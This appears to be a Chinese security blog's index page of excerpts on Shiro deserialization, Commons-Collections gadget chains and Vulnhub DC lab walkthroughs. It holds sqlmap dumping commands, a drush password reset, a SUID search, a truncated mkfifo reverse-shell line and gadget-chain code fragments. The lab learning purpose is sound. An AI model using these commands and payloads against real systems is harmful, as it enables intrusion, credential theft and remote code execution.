Java学习之Shiro721
环境这里我直接用的Drunkbaby佬的环境,自己搭建失败了,淦
漏洞原理在Shiro721漏洞中,由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle Attack来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
虽然使用Padding Oracle Attack可以绕过密钥直接构造攻击密文,但是在进行攻击之前我们需要获取一个合法用户的Cookie。
漏洞利用条件漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:
开启 rememberMe 功能;
rememberMe 值使用 AES-CBC 模式解密;
能获取到正常 Cookie,即用户正常登录的 Cookie 值;
密文可控;
复现漏洞这里先正常登录,然后抓个登录后的包,这里还是和之前一样得用自己的IP才能抓到然后利用y ...
Java学习之Shiro550
环境
jdk8u65
Tomcat8
shiro 1.2.4漏洞影响版本:Shiro <= 1.2.4环境具体的配置参考:Java反序列化Shiro篇01-Shiro550流程分析 | Drunkbaby’s Blog (drun1baby.top)
shiro-550分析哎,终于到了shiro,虽然很少遇到这个漏洞但是这个还是挺重要的抓个登录的包,勾选 RememberMe 字段可以看到这个cookie明显是通过加密的,那么就去分析一下这个cookie的生成过程,idae里面按两下shift可以输入cookie然后会把和cookie这个名字有关的类列出来,最终我们找到了CookieRememberMeManager类中的 getRememberedSerializedIdentity()方法这个方法先判断是否为http请求,如果是则会获取remember me的cookie值,然后判断是否是deleteMe,不是则判断是否是符合 base64 编码,然后再对其进行 base64 解码,将解码结果返回,那么往上找谁调用了这个方法找到了AbstractRememberM ...
Java学习之CommonsBeanUtils1
环境jdk8依赖如下
1234567891011121314151617<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency& ...
Java学习之CC链11
环境
CommonsCollections 3.1-3.2.1
jdk无限制
链子分析看大佬的博客这调链子是CC2+CC6,这里把完整的调用链流程图放一下其实这条链子就是为后面的shiro可以不通过Transform数组来实现反序列化服务的
CC2的尾部链TemplatesImpl把CC2的后半部分拿来
1234567891011121314151617TemplatesImpl templates = new TemplatesImpl(); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodes = tclass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(tru ...
Vulnhub-DC-9
环境下载地址:DC: 9 ~ VulnHub
开始打靶端口开放访问页面,在search界面经过不断尝试确实存在注入丢进sqlmap看看
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" --dbs
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users --tables
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails --columns
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails -C username ...
Vulnhub-DC-8
环境下载地址:https://download.vulnhub.com/dc/DC-8.zip
开始打靶访问IP,得到为Drupal 7和DC-7一模一样,没啥思路扫个目录看看版本为7.67,msf上没有啥漏洞,但是这里肯定是直接漏洞利用,于是找到了如下界面的sql注入直接上sqlmap
1sqlmap -u "http://192.168.75.141/?nid=1" --dbs
1sqlmap -u "http://192.168.75.141/?nid=1" -D d7db --table
然后找到如下表,进入看看最终找到字段
1sqlmap -u "http://192.168.75.141/?nid=1" -D d7db -T users -C name,pass --dump
接着使用jhon去爆破它,把这两行密码复制到记事本里然后去爆破爆破结果为john/turtle,然后在下面插入代码然后将shell转为交互式shell
提权1find / -perm -u=s -type f 2>/dev/null
...
Vulnhub-DC-7
环境下载地址:https://download.vulnhub.com/dc/DC-7.zip
开始打靶存活IP扫描访问页面,内容为Drupal的CMS页面上面没啥东西,但是页面下有百度一下这个用户发现为其GitHub访问其config.php得到数据库账号密码,但是登录不上却可以登录ssh连接如下打开mbox发现存在/opt/scripts/backups.sh访问其目录,查看backups.sh发现有个drush命令,但是不知道其作用,搜索后发现这个命令可以修改密码,进入到var/www/html使用其命令修改
1drush user-password admin --password="123456"
然后利用这个账号密码去登陆在Content—>Add content–>Basic page下准备写马但是不支持,将php进行引入!如下然后把这个扩展开启了再进入刚刚那个界面然后写入木马最后用4连上了,奇奇怪怪
提权进入opt目录,写入打开终端然后写入提权的语句
1echo "rm /tmp/f;mkfifo /tmp/ ...
Vulnhub-DC-6
环境下载地址:https://download.vulnhub.com/dc/DC-6.zip
开始打靶存活IP扫描访问IP显示域名但无法解析,和前面有台DC靶机一样,这里我在win下修改hosts文件,打开这个文件然后正常访问,网站是WordPress的CMS,直接永wpscan先扫一波,这个竟然没扫到登录界面,dirsearch再扫一波找到再使用wpscan扫一波用户名,得到5个用户
1wpscan --url wordy -e u
然后是爆破密码 ,这里vulnhub给了提示让用哪个字典
123OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.cat /usr/share/wordlists/rockyou.t ...
Java学习之CC链7
环境CommonsCollections 3.1 - 3.2.1,jdk好像是没有限制的
链子分析这里其实后半部分和CC1也是一样只不过入口点变了,这里为Hashtable这个类,找样是把他和LazyMap连起来,但是这里不直接去find usages了,因为get调用实在太多了,所以直接看,最后是找到了AbstractMap类,它的equals()方法调用了get()方法那么下一步就是找谁调用了equals()方法,从这里开始会遇到前面几条链没有过的调用方式就是调用子类没有的方法那么就会去到父类调用这个方法,所以在这里HashMap这个类继承了AbstractMap类而HashMap类没有equals()方法那么调用HashMap类equals()方法就会调到AbstractMap类的equals()方法所以接下来就去寻找调用了key.equals我们控制key的类型为HashMap就行了,最终是在HashTable类的reconstitutionPut()方法调用了key.equals其实这里equals的调用还是挺绕的,一开始是传LazyMap对象到AbstractMap类去调用 ...
Java学习之CC链5
环境commons-collections版本如下,这里我一直参考的博客没说,但如果是4.0的话是有问题的后面会提到,其它环境没变
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
链子分析CC5就是改了入口点然后和CC1的LazyMap连接起来,组长后面两条链子没有详细讲了,因为大同小异,这里直接给了入口类,因为这条链子自己去找还是比较困难的,为BadAttributeValueExpException 的 readObject()方法,然后要和LazyMap.get()连上,那么就是找谁调用了get()方法这里如果去find usages去找的话很麻烦,调用实在太多了就直接看吧,最后是找到了TiedMapEntry类的getVa ...
Java学习之CC链2
环境和CC4一样,Commons-Collections 依赖如下
1234567<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies>
链子分析CC2其实就是在CC4上修改,它是为了避免transform数组的使用,至于为什么要避免是因为shiro中的漏洞会重写很多动态加载数组的方法,那么可能EXP 无法通过数组实现,当然我还没跟过shiro的链子到时候再去学习,那么到这里后面的流程图就如下前面的就是CC4的东西,所以这里就是要把compare与InvokerTransform连接起来然后再把InvokerTransform与TemplatesI ...
Vulnhub-DC-5
环境下载地址:https://download.vulnhub.com/dc/DC-5.zip
开始打靶常规操作存活IP扫描arp-scan -l端口开放扫描nmap -A -p- 192.168.75.138得全端口扫描不然后面那个扫不出来页面的框框测了一下没啥东西,在我来回跳转的时候看到如下位置会发生变化猜测可能存在文件包含,dirsearch扫描一下目录访问footer.php刷新发现年份变化,而thankyou.php页面刷新也存在变化,确认这里存在文件包含fuzz一下参数本来想用wfuzz来fuzz参数的但是不知道为什么一直404无奈只能掏出我珍藏多年的字典了得到参数为file,从插件中得到服务为nginx那么可以尝试利用日志写马,访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。通过fuzz得到日志路径如下,当然这里是默认的直接访问就行
123/var/log/nginx/access.log/var/log/nginx/error.log
通过ngi ...